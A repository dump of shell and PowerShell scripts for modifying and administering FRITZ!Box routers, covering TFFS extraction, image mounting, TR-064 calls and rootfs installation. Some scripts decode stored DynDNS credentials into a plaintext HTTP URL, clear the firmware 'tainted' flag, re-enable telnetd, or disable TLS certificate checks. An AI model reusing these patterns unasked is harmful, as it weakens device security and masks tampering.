################################################################################## 59 | # 60 | # regular end of script reached 61 | # 62 | ################################################################################## 63 | exit 0 64 | -------------------------------------------------------------------------------- /tffs/tffs_from_supportdata: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | # SPDX-License-Identifier: GPL-2.0-or-later 3 | FIRST_LINE="##### BEGIN SECTION TFFS_DUMP TFFS Dump" 4 | LAST_LINE="##### END SECTION TFFS_DUMP" 5 | decode_to_tar() 6 | { 7 | local input="$1" 8 | sed -e "1,/^$FIRST_LINE/d" "$input" | sed -e "/^$LAST_LINE/,\$d" | base64 -d 9 | } 10 | usage() 11 | { 12 | printf "Extract a TFFS image dump from extended support data file.\n\n" 13 | printf "Usage:\n\n" 14 | printf "$0 \n\n" 15 | printf "'support-data-file' is the name of an \"extended support data\" file,\n" 16 | printf "which was created on a FRITZ!Box device. 'output-dir' is the name of\n" 17 | printf "an existing sub-directory, where the extracted data will be stored.\n" 18 | printf "'tffs-index' is the suffix of the TFFS image name ('1' or '2').\n\n" 19 | printf "This script is not supposed to handle dumps from devices with a\n" 20 | printf "NAND-based TFFS driver.\n\n" 21 | printf "This script is only a proof-of-concept, how to extract the TFFS dump\n" 22 | printf "from support data - it doesn't contain any sophisticated error handling.\n" 23 | } 24 | INPUT="$1" 25 | OUTPUT="$2" 26 | INDEX=$3 27 | [ $# -lt 3 ] && usage && exit 1 28 | tmp=$(mktemp) 29 | [ $? -ne 0 ] && tmp=/var/tmp/tmp.$(date +%s).$$ 30 | trap "rm -r $tmp" EXIT HUP 31 | rm $tmp 32 | mkdir -p $tmp 33 | tarfile=$tmp/tffs-dump.tar 34 | decode_to_tar "$INPUT" >$tarfile 35 | for file in $(tar -t -f $tarfile); do 36 | [ $file == var/tmp/tffs-dump/ ] && continue 37 | out=${file##*/} 38 | out=${out%.gz} 39 | out=${out/\(/} 40 | out=${out/\)/} 41 | [ -z "$(expr "$out" : ".*\($INDEX\).*")" ] && continue 42 | tar -x -O -f $tarfile $file | gunzip -c >$OUTPUT/$out 43 | break 44 | done 45 | -------------------------------------------------------------------------------- /tffs/yf_custom_environment.sh: -------------------------------------------------------------------------------- 1 | #! /bin/true 2 | __yf_custom_environment() 3 | { 4 | ___yf_ce_busybox="${YF_CUSTOM_BUSYBOX:-/bin/busybox}" 5 | [ -x "$___yf_ce_busybox" ] || return 1 6 | 7 | for ___yf_ce_cmd in mount sed mknod expr wc grep cat rm mkdir true; do $___yf_ce_busybox --list | $___yf_ce_grep grep -q "^$___yf_ce_cmd\$" || return 1; done 8 | 9 | ___yf_ce_dev=/dev 10 | ___yf_ce_proc=/proc 11 | ___yf_ce_devices=/devices 12 | ___yf_ce_mounts=/mounts 13 | ___yf_ce_urlader=/sys/urlader 14 | ___yf_ce_environment=/environment 15 | ___yf_ce_target="${YF_CUSTOM_ENVIRONMENT_TARGET:-$___yf_ce_proc$___yf_ce_urlader$___yf_ce_environment}" 16 | ___yf_ce_source="$___yf_ce_dev/custom_env.tffs" 17 | ___yf_ce_tffs_minor="${YF_CUSTOM_ENVIRONMENT_TFFS_MINOR:-80}" 18 | 19 | for ___yf_ce_dir in "$___yf_ce_proc"; do [ -d "$___yf_ce_dir" ] || $___yf_ce_busybox mkdir -p "$___yf_ce_dir"; done 20 | 21 | [ -f "$___yf_ce_proc$___yf_ce_mounts" ] || $___yf_ce_busybox mount -t proc procfs "$___yf_ce_proc" 22 | [ -f "$___yf_ce_proc$___yf_ce_mounts" ] || return 1 23 | 24 | for ___yf_ce_file in "$___yf_ce_target" "$___yf_ce_proc$___yf_ce_devices"; do [ -f "$___yf_ce_file" ] || return 1; done 25 | 26 | [ -n "$($___yf_ce_busybox expr "$___yf_ce_tffs_minor" : ".*\([^0-9]\).*")" ] && return 1 27 | [ "$___yf_ce_tffs_minor" -gt 255 ] && return 1 28 | [ "$___yf_ce_tffs_minor" -lt 30 ] && return 1 29 | 30 | ___yf_ce_tffs_major="$($___yf_ce_busybox sed -n -e "s|^[ ]*\([0-9 ]*\)[ \t]\+tffs\$|\1|p" "$___yf_ce_proc$___yf_ce_devices")" 31 | [ -z "$___yf_ce_tffs_major" ] && return 1 32 | $___yf_ce_busybox mknod "$___yf_ce_source" c $___yf_ce_tffs_major $___yf_ce_tffs_minor || return 1 33 | [ "$( ( $___yf_ce_busybox wc -c "$___yf_ce_source" || printf "0") | $___yf_ce_busybox sed -n -e "s|^\([0-9]*\).*\$|\1|p")" -lt 2 ] && ( $___yf_ce_busybox rm "$___yf_ce_source" || true ) && return 1 34 | 35 | $___yf_ce_busybox cat "$___yf_ce_source" |\ 36 | while read ___yf_ce_name ___yf_ce_value; do 37 | ___yf_ce_current="$($___yf_ce_busybox sed -n -e "s|^$___yf_ce_name[ \t]*\(.*\)\$|\1|p" "$___yf_ce_target")" 38 | [ "${#___yf_ce_current}" -ne "${#___yf_ce_value}" ] || ! [ "$___yf_ce_current" = "$___yf_ce_value" ] && printf "%s %s\n" "$___yf_ce_name" "$___yf_ce_value" > "$___yf_ce_target" 39 | done 40 | 41 | $___yf_ce_busybox rm "$___yf_ce_source" 42 | } 43 | 44 | __yf_custom_environment 45 | for ___yf_v in $(set | ${YF_CUSTOM_BUSYBOX:-/bin/busybox} sed -n -e "s|^\(___yf_ce_[^=]*\)=.*\$|\1|p") __yf_custom_environment; do unset $___yf_v; done 46 | unset ___yf_v 47 | -------------------------------------------------------------------------------- /tffs/yf_helpers: -------------------------------------------------------------------------------- 1 | ../scriptlib/yf_helpers -------------------------------------------------------------------------------- /toolbox/image/mount_image: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | # SPDX-License-Identifier: GPL-2.0-or-later 3 | [ $# -lt 2 ] && printf "Usage: %s \n" $0 1>&2 && exit 1 4 | image=$1 5 | mp=$2 6 | devname=$(losetup -j $image | sed -n -e "s|^\(/dev/loop[0-9]*\):.*\$|\1|p") 7 | for dev in $devname; do 8 | umount $dev 2>/dev/null && losetup -d $dev 2>/dev/null 9 | done 10 | [ "$mp" = "-" ] && exit 11 | offset=$(( 0x$(hexdump -C $image | sed -n -e "s|^\([0-9a-fA-F]*\) 73 71 73 68 \(00 \)\{4\} \(00 \)\{8\}.*\$|\1|p") + 256 )) 12 | losetup -f -o $offset $image 13 | mkdir -p $mp 14 | umount $mp 2>/dev/null 15 | devname=$(losetup -j $image | sed -n -e "s|^\(/dev/loop[0-9]*\):.*\$|\1|p") 16 | mount $devname $mp 17 | -------------------------------------------------------------------------------- /toolbox/scripts/copy_payload: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | # SPDX-License-Identifier: GPL-2.0-or-later 3 | src="$1" 4 | tgt="$2" 5 | shift 2 6 | check="" 7 | rm -f /tmp/subst_payload 8 | touch /tmp/subst_payload 9 | for v in $*; do 10 | printf "s|@CFG_${v%%=*}@|${v#*=}|g\n" >> /tmp/subst_payload 11 | check="$check ${v%%=*}" 12 | done 13 | for d in $(find "$src" -type d); do 14 | [ -z ${d#$src} ] && continue 15 | mkdir -p $tgt${d#$src} 16 | done 17 | for f in $(find "$src" -type f); do 18 | subst=0 19 | for v in $check; do 20 | grep -q "@CFG_${v}@" $f && subst=1 && break 21 | done 22 | if [ $subst -eq 1 ]; then 23 | sed -f /tmp/subst_payload $f >$tgt${f#$src} 24 | chmod 555 $tgt${f#$src} 25 | else 26 | cp -a $f $tgt${f#$src} 27 | fi 28 | done 29 | -------------------------------------------------------------------------------- /tools/README.md: -------------------------------------------------------------------------------- 1 | # Files in this folder 2 | 3 | ## (this is something like a "grocery store" of scripts for different purposes) 4 | 5 | `alive_start.sh` (__target__: FRITZ!OS device) 6 | 7 | - send a heartbeat signal (simply a HTTP request) to the server set up in the (first) configured DynDNS account 8 | - needs a method to decode the encrypted credentials for the DynDNS account, you can use for this purpose 9 | 10 | `juis_check` (__target__: any Linux system or ```bash``` on Windows 10) 11 | 12 | - a POSIX compatible shell script to check AVM's update info service for a newer version 13 | - needs a 'nc' binary or the 'nc' applet from BusyBox, which isn't contained in AVM's original firmware anymore (except for the 6490) 14 | 15 | `juischeckupdate` (__target__: any Linux system, but not the Windows 10 ```bash```) 16 | 17 | - another script to check for updates 18 | - this one needs a 'bash' shell supporting network access via '/dev/tcp' and no 'nc' implementation is used here 19 | 20 | Have a look at this thread regarding checks with this new service: 21 | 22 | 23 | 24 | `resetsigned` (__target__: FRITZ!OS device) 25 | 26 | - reset the ```tainted``` flag on a FRITZ!OS device, if it is set … may be called periodically and will only lead to an additional TFFS write access, if it's necessary 27 | 28 | `unique_id` (__target__: FRITZ!OS device) 29 | 30 | - get a random character string with a specified length (only 0-9 and a-f are contained there) or get a really (globally) unique ID, if ```guid``` is specified as first parameter and kernel's random device provides the needed ```procfs``` entry (```/proc/sys/kernel/random/uuid```) 31 | 32 | `waitconnected` (__target__: FRITZ!OS device) 33 | 34 | - wait a specified time until the WAN connection of a FRITZ!Box device was established 35 | - if the timeout value is omitted, it checks the state only once and may be used as a detector for an established connection 36 | 37 | `waittimeset` (__target__: FRITZ!OS device) 38 | 39 | - wait a specified time (or indefinite) until the FRITZ!OS device has gotten a valid date and time 40 | - may be used to delay the start of services, which need a valid date and time (e.g. 'cron' or a service with a (real) certificate check) 41 | 42 | `parseJSON` (__target__: any ```bash``` installation, where JSON data was read from a FRITZ!OS device) 43 | 44 | - parse the output of 'query.lua' into an array of bash variables for further processing 45 | 46 | `prowl` (__target__: any ```bash``` installation) 47 | 48 | - send a push message using PROWL () from CLI (bash required) 49 | 50 | `rle_decode.c` (__target__: usually cross-build system(s) for FRITZ!OS devices) 51 | 52 | - a simple C utility to decode firmware images from AVM's recovery programs, newer versions store them with run-length encoding 53 | -------------------------------------------------------------------------------- /tools/alive_start.sh: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | # SPDX-License-Identifier: GPL-2.0-or-later 3 | interval=300 4 | scriptname=/var/alive.sh 5 | logname=alive 6 | cfgvar() 7 | { 8 | local n="$1" i p="$2" v 9 | v="$(echo -e "$n" | ar7cfgctl -w 2>/dev/null)" 10 | i=$(expr index "$v" '\$\$\$\$') 11 | if [ $i -gt 0 ]; then 12 | v="$(echo "$v" | decoder decode_secrets)" 13 | fi 14 | if ! test -z "$p"; then 15 | p="${p//\[/\\[}" 16 | p="${p//\"/\\"}" 17 | p="${p//\./\\.}" 18 | p="${p//\$/\\\$}" 19 | v="$(echo "$v" | sed -n -e "s|$p||p")" 20 | fi 21 | echo "$v" | sed -n -e 's|^\([^ ]*\) = \(\".*\"\)|\1=\2|p' 22 | } 23 | eval $(cfgvar "ddns.accounts.ddnsprovider" "ddns.accounts.") 24 | if [ "$ddnsprovider" == "" ]; then 25 | server="$(cfgvar "ddns.types[userdefined].url" | sed -n -e 's|ddns\.types\[userdefined\]\.url="\([^/]*\).*|\1|p')" 26 | else 27 | eval $(cfgvar "ddns.provider[$ddnsprovider].server" "ddns.provider[$ddnsprovider].") 28 | fi 29 | eval $(cfgvar "ddns.accounts.username\nddns.accounts.passwd" "ddns.accounts.") 30 | if [ ${#username} -gt 0 -a ${#passwd} -gt 0 -a ${#server} -gt 0 ]; then 31 | url="http://$username:$passwd@$server/alive" 32 | cat >$scriptname <<-EOS 33 | #! /bin/sh 34 | res="\$(wget -qO - $url)" 35 | rc=\$? 36 | RAND=\$(echo "\$(date +%s)" | md5sum | sed -n -e "s/\([0-9a-f]\{6\}\).*/\1/p") 37 | delay -d $interval LV\$RAND $scriptname 38 | echo "result was : \$res, return code was : \$rc, next id is : LV\$RAND" | showshringbuf -i $logname 39 | EOS 40 | chmod 500 $scriptname 41 | delay -d 60 ALIVESTRT $scriptname 42 | else 43 | delay -d 3600 ALIVEGEN $0 44 | fi 45 | -------------------------------------------------------------------------------- /tools/juis_check: -------------------------------------------------------------------------------- 1 | ../juis/juis_check -------------------------------------------------------------------------------- /tools/juischeckupdate: -------------------------------------------------------------------------------- 1 | ../juis/juis_check -------------------------------------------------------------------------------- /tools/reboot_fritzos.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | # SPDX-License-Identifier: GPL-2.0-or-later 3 | ##################################################################################### 4 | # # 5 | # create the HTTP request # 6 | # # 7 | ##################################################################################### 8 | post_request() 9 | { 10 | printf "POST /cgi-bin/firmwarecfg HTTP/1.1\r\n" 11 | printf "User-Agent: handcrafted_request/1 (shell)\r\n" 12 | printf "Accept: */*\r\n" 13 | printf "Host: %s\r\n" "$2" 14 | printf "Connection: Close\r\n" 15 | printf "%s" "$1" 16 | } 17 | ##################################################################################### 18 | # # 19 | # parameters and defaults # 20 | # # 21 | ##################################################################################### 22 | # IP address of FRITZ!Box 23 | host="${2:-192.168.178.1}" 24 | ##################################################################################### 25 | # # 26 | # SID has to be the first parameter # 27 | # # 28 | ##################################################################################### 29 | [ -z "$1" ] && echo "Missing SID ..." && exit 1 30 | . $YF_SCRIPT_DIR/multipart_form 31 | td=$(multipart_form new) 32 | multipart_form addfield $td sid $1 33 | multipart_form addfield $td reboot 34 | request="$(multipart_form postdata $td)" 35 | printf "=== request ===\n" 1>&2 36 | printf "%s\n" "$(post_request "$request" "$host")" 1>&2 37 | printf "=== response ===\n" 1>&2 38 | post_request "$request" "$host" | nc -q 1 -C -w 2 $host 80 39 | printf "\n=== end of communication ===\n" 1>&2 40 | multipart_form cleanup "$td" 41 | -------------------------------------------------------------------------------- /tools/resetsigned: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | # SPDX-License-Identifier: GPL-2.0-or-later 3 | [ "$(ctlmgr_ctl r box status/signed_firmware)" = "0" ] && echo clear_id 87 >/proc/tffs || exit 1 4 | -------------------------------------------------------------------------------- /tools/showcertchain: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | # SPDX-License-Identifier: GPL-2.0-or-later 3 | tmp="$(mktemp)" 4 | numcerts=0 5 | nl="" 6 | infile=0 7 | while read line; do 8 | [ "${#line}" -eq 0 ] && continue 9 | if [ "$line" = "-----BEGIN CERTIFICATE-----" ]; then 10 | printf "%s\n" "$line" >"$tmp" 11 | infile=1 12 | numcerts=$(( numcerts + 1 )) 13 | elif [ "$line" = "-----END CERTIFICATE-----" ]; then 14 | printf "%s\n" "$line" >>"$tmp" 15 | infile=0 16 | printf -- "%s-----------------------------------------------------------------------\n" "$nl" 17 | openssl x509 -noout -text -fingerprint -ocsp_uri -ocspid -pubkey -modulus -in "$tmp" 18 | nl="$(printf "\n")" 19 | elif [ $infile -eq 1 ]; then 20 | printf "%s\n" "$line" >>"$tmp" 21 | else 22 | [ "${#nl}" -eq 0 ] && continue 23 | printf "Unexpected data found outside of PEM certificate lines.\n" 1>&2 24 | fi 25 | done 26 | [ "${#nl}" -gt 0 ] && printf -- "%s-----------------------------------------------------------------------\n" "$nl" 27 | printf "%sFound %d certificate(s) on STDIN.\n" "$nl" $numcerts 1>&2 28 | rm "$tmp" 2>/dev/null 29 | exit 0 30 | -------------------------------------------------------------------------------- /tools/telnetd_by_avm: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | # SPDX-License-Identifier: GPL-2.0-or-later 3 | # 4 | # check ability to run telnet daemon from AVM's telefon daemon 5 | # 6 | errors=0 7 | # 8 | # we need a symlink as /usr/sbin/telnetd first 9 | # 10 | if ! [ -x /usr/sbin/telnetd ]; then 11 | printf "Missing symlink for telnet daemon.%s\n" "$1" 1>&2 12 | errors=$(( errors + 1 )) 13 | fi 14 | # 15 | # do we have a 'telefon' binary? 16 | # 17 | if ! [ -x /usr/bin/telefon ]; then 18 | printf "Missing 'telefon' daemon.%s\n" "$1" 1>&2 19 | errors=$(( errors + 1 )) 20 | fi 21 | # 22 | # CONFIG_RELEASE=0 is needed to re-enable telnetd functions from 'telefon' daemon 23 | # 24 | if ! grep -q 'CONFIG_RELEASE=0' /etc/init.d/rc.voip && ! [ "$CONFIG_RELEASE" = "0" ]; then 25 | printf "Unable to detect environment setting 'CONFIG_RELEASE=0'.%s\n" "$1" 1>&2 26 | errors=$(( errors + 1 )) 27 | fi 28 | # 29 | # the flag in 'fx_conf' has to be '0x01' to start the daemon 30 | # 31 | if ! testvalue /var/flash/fx_conf 1 14466 1; then 32 | printf "The telnet daemon flag in file 'fx_conf' is not set to start this service.%s\n" "$1" 1>&2 33 | errors=$(( errors + 1 )) 34 | fi 35 | # 36 | # in case of error, exit here 37 | # 38 | [ $errors -gt 0 ] && exit 1 39 | # 40 | # now check the state of 'telnetd' service 41 | # 42 | if ! pidof telnetd >/dev/null 2>&1 && pidof telefon >/dev/null 2>&1; then 43 | # telefon daemon is running without telnetd service, but flag is set 44 | /etc/init.d/rc.voip restart 45 | /sbin/eventadd 1 "Phone service(s) restarted to enforce 'telnetd' start." 46 | printf "%sPhone services restarted.%s\n" "$1" "$1" 1>&2 47 | fi 48 | exit 0 49 | -------------------------------------------------------------------------------- /tools/unique_id: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | # SPDX-License-Identifier: GPL-2.0-or-later 3 | if [ "$1" = "guid" ]; then 4 | if [ -f /proc/sys/kernel/random/uuid ]; then 5 | cat /proc/sys/kernel/random/uuid 6 | exit 0 7 | else 8 | printf "Kernel GUID generator isn't available.\n" 1>&2 9 | exit 1 10 | fi 11 | fi 12 | len=${1:-8} 13 | [ $len -gt 32 ] && exit 1 14 | dd if=/dev/urandom of=/proc/self/fd/1 count=1 bs=16 2>/dev/null | md5sum | sed -n -e "s/\([0-9a-f]\{$len\}\).*/\1/p" 15 | exit 0 16 | -------------------------------------------------------------------------------- /tools/waitconnected: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | # SPDX-License-Identifier: GPL-2.0-or-later 3 | [ -z $1 ] && loop=-1 || loop=$(( $1 + 0 )) 4 | while ! [ $(ctlmgr_ctl r connection0 status/connect) = "5" ]; do 5 | loop=$(( loop + 1 )) 6 | [ $loop -eq 0 ] && exit 1 7 | sleep 1 8 | done 9 | exit 0 10 | -------------------------------------------------------------------------------- /tools/waittimeset: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | # SPDX-License-Identifier: GPL-2.0-or-later 3 | [ -z "$1" ] && timeout=0 || timeout=$(( $1 + 0 )) 4 | starttime=$(date +%s) 5 | [ $starttime -gt 86400 ] && exit $rc 6 | difftime=$(( starttime + timeout )) 7 | [ $timeout -eq 0 ] && difftime=$(( starttime + 86400 )) 8 | while [ $(date +%s) -lt $difftime ]; do 9 | if [ $timeout -gt 0 ]; then 10 | now=$(date +%s) 11 | waiting=$(( now - starttime )) 12 | [ $waiting -gt $timeout ] && exit 1 13 | fi 14 | sleep 1 15 | done 16 | exit 0 17 | -------------------------------------------------------------------------------- /tr-064/README.md: -------------------------------------------------------------------------------- 1 | # Some simple examples, how to use the TR-064 interfaces of FRITZ!OS 2 | 3 | ## WoLbyMAC.ps1 4 | 5 | Windows PowerShell - wake up a sleeping LAN client with a known MAC address 6 | 7 | ## SetUpgradesManaged.ps1 8 | 9 | Windows PowerShell - switch "managed updates" on or off via TR-064; a device with "managed updates" does not show manual firmware update pages in its GUI 10 | 11 | ## GetConfigFile.ps1 12 | 13 | Windows PowerShell - retrieve configuration file from a FRITZ!OS device via TR-064 (works with PS 7) 14 | -------------------------------------------------------------------------------- /tr-064/WoLbyMAC.ps1: -------------------------------------------------------------------------------- 1 | # SPDX-License-Identifier: GPL-2.0-or-later 2 | ################################################################################### 3 | # # 4 | # Wake-on-LAN for a known device via TR-064 function from FRITZ!OS # 5 | # # 6 | ################################################################################### 7 | # # 8 | # You need the MAC address of a LAN device, which must be known to your FRITZ!OS- # 9 | # based router, and an user account with administrative rights, to wake up a LAN # 10 | # client from sleeping, using this script. # 11 | # # 12 | ################################################################################### 13 | Param([Parameter(Mandatory = $True, Position = 0, HelpMessage = 'the username to login to TR-064')][string]$Username, 14 | [Parameter(Mandatory = $True, Position = 1, HelpMessage = 'the password to login to TR-064')][string]$Password, 15 | [Parameter(Mandatory = $True, Position = 2, HelpMessage = 'the MAC address of device to wake up')][string]$MAC, 16 | [Parameter(Mandatory = $False, Position = 3, HelpMessage = 'the internal TR-064 (TLS protected) port, defaults to 49443')][string]$Port = 49443, 17 | [Parameter(Mandatory = $False, Position = 4, HelpMessage = 'the IP address of the FRITZ!Box, defaults to 192.168.178.1')][string]$Address = "192.168.178.1") 18 | 19 | $WebClient = New-Object System.Net.WebClient 20 | $xml_query='' + $MAC + '' 21 | 22 | $WebClient.Encoding = [System.Text.Encoding]::UTF8 23 | $WebClient.Credentials = New-Object System.Net.NetworkCredential($Username, $Password) 24 | [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} 25 | $WebClient.Headers.Set("Content-Type", 'text/xml; charset="utf-8"') 26 | $WebClient.Headers.Set("SOAPACTION", 'urn:dslforum-org:service:Hosts:1#X_AVM-DE_WakeOnLANByMACAddress') 27 | $response = [xml]$WebClient.UploadString("https://" + $Address + ":" + $Port + "/upnp/control/hosts", $xml_query) 28 | 29 | $response.Envelope.Body.InnerXml 30 | -------------------------------------------------------------------------------- /update_yaffs2/install_inactive_rootfs: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | # SPDX-License-Identifier: GPL-2.0-or-later 3 | #========================================================================= 4 | # 5 | # which file is the rootfs image to be copied to the yaffs2 partition? 6 | # 7 | #========================================================================= 8 | image="${1:-filesystem_core.squashfs}" 9 | #========================================================================= 10 | # 11 | # some defaults 12 | # 13 | #========================================================================= 14 | TMP="/var" 15 | URLADER_ENV="/proc/sys/urlader/environment" 16 | SYSTEM_SELECTOR="linux_fs_start" 17 | FS_PARTITION="filesystem" 18 | INACTIVE_PREFIX="reserved-" 19 | MTDBLOCK="/dev/mtdblock" 20 | MOUNTFS="$TMP/yaffs2" 21 | ROOTFS="filesystem_core.squashfs" 22 | #========================================================================= 23 | # 24 | # now we've to select the right partition, where we should write into 25 | # 26 | #========================================================================= 27 | current=$(sed -n -e "s/^$SYSTEM_SELECTOR\t\([01]\)\$/\1/p" $URLADER_ENV) 28 | [ ${#current} -eq 0 ] && exit 1 # missing or invalid selector value 29 | mtd=$(sed -n -e "s/mtd\([0-9]\{1,2\}\):.*\"$INACTIVE_PREFIX$FS_PARTITION\"\$/\1/p" /proc/mtd) 30 | [ ${#mtd} -eq 0 ] && exit 1 # filesystem partition not found 31 | #========================================================================= 32 | # 33 | # now let's mount the partition somewhere 34 | # 35 | #========================================================================= 36 | mkdir -p $MOUNTFS 37 | mount -t yaffs2 $MTDBLOCK$mtd $MOUNTFS || exit 1 # do or die 38 | #========================================================================= 39 | # 40 | # now we can copy the image file to the partition 41 | # 42 | #========================================================================= 43 | rm -f $MOUNTFS/$ROOTFS 2>/dev/null 44 | cp -a $image $MOUNTFS/$ROOTFS 45 | rc=$? 46 | sync 47 | umount $MOUNTFS 48 | if [ $rc -ne 0 ]; then 49 | echo "Error $rc copying image file '$image' to yaffs2 partition on '$MTDBLOCK$mtd'." 50 | exit 1 51 | else 52 | echo "Image file '$image' was copied successfully to yaffs2 partition on '$MTDBLOCK$mtd'." 53 | fi 54 | #========================================================================= 55 | # 56 | # end of script 57 | # 58 | #========================================================================= 59 | -------------------------------------------------------------------------------- /update_yaffs2/mountall: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | # SPDX-License-Identifier: GPL-2.0-or-later 3 | ######################################################################################### 4 | # 5 | # mount FRITZ!OS partitions, where they can be inspected/compared/whatever, needs a 6 | # newer Busybox binary with the "use foreign fstab" option (-T) 7 | # 8 | ######################################################################################### 9 | # 10 | # the fstab to be mounted 11 | # 12 | ### fstab ### 13 | # $WRAPPER $BASE/active/yaffs2 yaffs2 ro,bind 1 1 14 | # $MTDBLOCK\\\$${reservedprefix/-/_}$fsname $BASE/inactive/yaffs2 yaffs2 ro 1 1 15 | # $BASE/active/yaffs2/$ROOTFS $BASE/active/rootfs squashfs ro 1 1 16 | # $BASE/inactive/yaffs2/$ROOTFS $BASE/inactive/rootfs squashfs ro 1 1 17 | ### end of fstab ### 18 | # 19 | # basic constants 20 | # 21 | BASE=/var/media/ftp 22 | ROOTFS=filesystem_core.squashfs 23 | WRAPPER=/wrapper 24 | MTDBLOCK=/dev/mtdblock 25 | MTD=/proc/mtd 26 | fsname=filesystem 27 | kernelname=kernel 28 | reservedprefix="reserved-" 29 | # 30 | # our fstab copy to be processed 31 | # 32 | fstab=/var/tmp/fstab_$(date +%s)_$$ 33 | trap 'rm $fstab 2>/dev/null' EXIT HUP 34 | # 35 | # compute partition numbers 36 | # 37 | eval $(sed -n -e "s|^mtd\([0-9]\+\):.*\"\(\($fsname\|$kernelname\|$reservedprefix$fsname\|$reservedprefix$kernelname\)\)\"\$|\2=\1|p" $MTD | sed -e "s/-/_/") 38 | # 39 | # prepare fstab 40 | # 41 | get_fstab() 42 | { 43 | local found=0 44 | cat $0 | \ 45 | while read line; do 46 | [ x"$line" == x"### end of fstab ###" ] && break 47 | [ x"$line" == x"### fstab ###" ] && found=1 && continue 48 | [ $found -eq 1 ] && echo "$(eval echo $(eval echo "${line:2}"))" 49 | done 50 | } 51 | # 52 | # reverse the fstab file for dismounting in the right order 53 | # 54 | reverse() 55 | { 56 | sed -n -e '1!G;h;$p' 57 | } 58 | # 59 | # execute a command for each entry in our fstab 60 | # 61 | fstab_cmd() 62 | { 63 | local dev dir line opt 64 | while read dev dir opt dump order; do 65 | eval "$(echo "$1")" 66 | done 67 | } 68 | # 69 | # get fstab 70 | # 71 | get_fstab >$fstab 72 | # 73 | # what's the task here? 74 | # 75 | if [ -z $1 ]; then 76 | fstab_cmd "mkdir -p \$dir" <$fstab 77 | mount -a -T $fstab 78 | else 79 | case "$1" in 80 | -u) 81 | reverse <$fstab | fstab_cmd "[ -d \$dir ] && { umount \$dir; rmdir \$dir; }" 82 | ;; 83 | *) 84 | echo "Unknown parameter '$1'." 85 | exit 1 86 | ;; 87 | esac 88 | fi 89 | -------------------------------------------------------------------------------- /www.yourfritz.de.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PeterPawn/YourFritz/2867c9a9945342caa51c28b8081bd24beeb91c43/www.yourfritz.de.png -------------------------------------------------------------------------------- /yourfritz_icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PeterPawn/YourFritz/2867c9a9945342caa51c28b8081bd24beeb91c43/yourfritz_icon.png -------------------------------------------------------------------------------- /yourfritz_logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PeterPawn/YourFritz/2867c9a9945342caa51c28b8081bd24beeb91c43/yourfritz_logo.png --------------------------------------------------------------------------------